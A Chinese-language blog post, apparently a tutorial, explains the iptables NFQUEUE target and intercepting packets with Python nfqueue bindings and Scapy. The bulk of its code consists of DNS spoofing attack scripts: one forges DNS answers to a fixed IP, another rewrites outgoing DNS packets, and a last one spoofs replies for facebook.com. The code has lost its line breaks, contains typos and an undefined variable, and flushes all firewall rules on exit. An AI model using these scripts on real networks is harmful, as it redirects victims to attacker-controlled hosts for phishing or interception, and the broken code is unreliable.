Nfqueue是iptables和ip6tables的target,这个target可以将数据包交给用户空间。比如,下面的一个iptables规则
<span style="font-size:18px;">iptables -A INPUT -j NFQUEUE --queue-num 0</span>
那么在用户空间,可以使用libnetfilter_queue来连接到queue 0(默认)并且从内核获得该消息,然后,必须给出对这个数据包的裁决(Drop,Accept等等)
一般在iptables中的target有以下五种(ACCEPT,DROP,RETURN,QUEUE,other_chain,而NFQUEUE是QUEUE的扩展。相比于QUEUE,它可以由用户指定不同的queue number。
(The NFQUEUE target is used much the same way as the QUEUE target, and is basically an extension of it. The NFQUEUE target allows for sending packets for separate and specific queues. The queue is identified by a 16-bit id.
This target requires the nfnetlink_queue kernel support to run. For more information on what you can do with the NFQUEUE target, see the QUEUE target.)
之前写过一篇博客Scapy基础学习
监听数据:
<span style="font-size:18px;">from scapy.all import * def callback(pkt): if pkt.haslayer(TCP): print pkt.summary() print pkt.show() print pkt[TCP] sniff(filter=”port 80”, prn=callback, store=0, iface=’wlan0’)</span>
<pre name="code" class="html"><span style="font-size:18px;">pkt=Ether()/IP(dst="new.ycombinator.com")/TCP()/"GET /index.html HTTP/1.0 \n\n" send(pkt)</span>一个dns_spoof示例:
<span style="font-size:18px;">from scapy.all import * def dns_spoof(pkt): redirect_to = '192.168.115.110' if pkt.haslayer(DNSQR): # DNS question record spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\ UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\ DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa = 1, qr=1, \ an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=redirect_to)) send(spoofed_pkt) print 'Sent:', spoofed_pkt.summary() sniff(filter='udp port 53', iface='wlan0', store=0, prn=dns_spoof)</span>
和C的libipq比起来,支持python的nfqueue会显得强大很多。
先看一个简单的例子:
import nfqueue from scapy.all import * import os os.system('iptables -A OUTPUT -p udp --dport 53 -j NFQUEUE') def callback(payload): data = payload.get_data() pkt = IP(data) payload.set_verdict(nfqueue.ACCEPT) def main(): q = nfqueue.queue() q.open() q.bind(socket.AF_NET) q.set_callback(callback) q.create_queue(0) try: q.try_run() # Main loop except KeyboardInterrupt: q.unbind(socket.AF_INET) q.close() os.system('iptables -F') os.system('iptables -X') main()再看如何修改:
import nfqueue from scapy.all import * import os os.system('iptables -A OUTPUT -p udp --dport 53 -j NFQUEUE') def callback(payload): data = payload.get_data() pkt = IP(data) if pkt.haslayer(DNSQR): # Beginning modifications pkt[IP].dst = '192.168.115.118' pkt[IP].len = len(str(pkt)) pkt[UDP].len = len(str(pkt[UDP])) del pkt[IP].chksum payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(pkt), len(pkt)) def main(): q = nfqueue.queue() q.open() q.bind(socket.AF_INET) q.set_callback(callback) q.create_queue(0) try: q.try_run() # Main loop except KeyboardInterrupt: q.unbind(socket.AF_INET) q.close() os.system('iptables -F') os.system('iptables -X') main()
注:这里需要关注payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(pkt), len(pkt)),这个是使用iptables和nfqueue来发送数据,也可以不使用set_verdict_modified()函数。在callbak里可以这样操作:
payload.set_verdict(NF_DROP) 。。。 copy the packet make modifications 。。。 send(modified_packet)
import nfqueue from scapy.all import * import os domain = 'facebook.com' os.system('iptables -A OUTPUT -p udp --dport 53 -j NFQUEUE') def callback(payload): data = payload.get_data() pkt = IP(data) if not pkt.haslayer(DNSQR): payload.set_verdict(nfqueue.NF_ACCEPT) else: if domain in pkt[DNS].qd.qname: spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\ UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\ DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\ an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=localIP)) payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(spoofed_pkt), len(spoofed_pkt)) print '[+] Sent spoofed packet for %s' % domain def main(): q = nfqueue.queue() q.open() q.bind(socket.AF_INET) q.set_callback(callback) q.create_queue(0) try: q.try_run() # Main loop except KeyboardInterrupt: q.unbind(socket.AF_INET) q.close() os.system('iptables -F') os.system('iptables -X') sys.exit('losing...') main()
相关资料:
http://security.maruhn.com/netfilter-hacking-howto/
http://www.grep.it/RMD/05-Netfilter.pdf
http://security.maruhn.com/iptables-tutorial/x9983.html
http://bbs.chinaunix.net/thread-1939832-1-1.html
http://bbs.chinaunix.net/thread-1960139-1-1.html
http://dac01.sakura.ne.jp/projects/firewall/iptips.html
http://sourcecodebrowser.com/nfqueue-bindings/0.1/nfq__common_8c.html
http://ytliu.info/blog/2013/03/29/netfilterxue-xi-bi-ji-(er-)/
http://stackoverflow.com/questions/27244736/wrong-tcp-checksum-calculation-by-scapy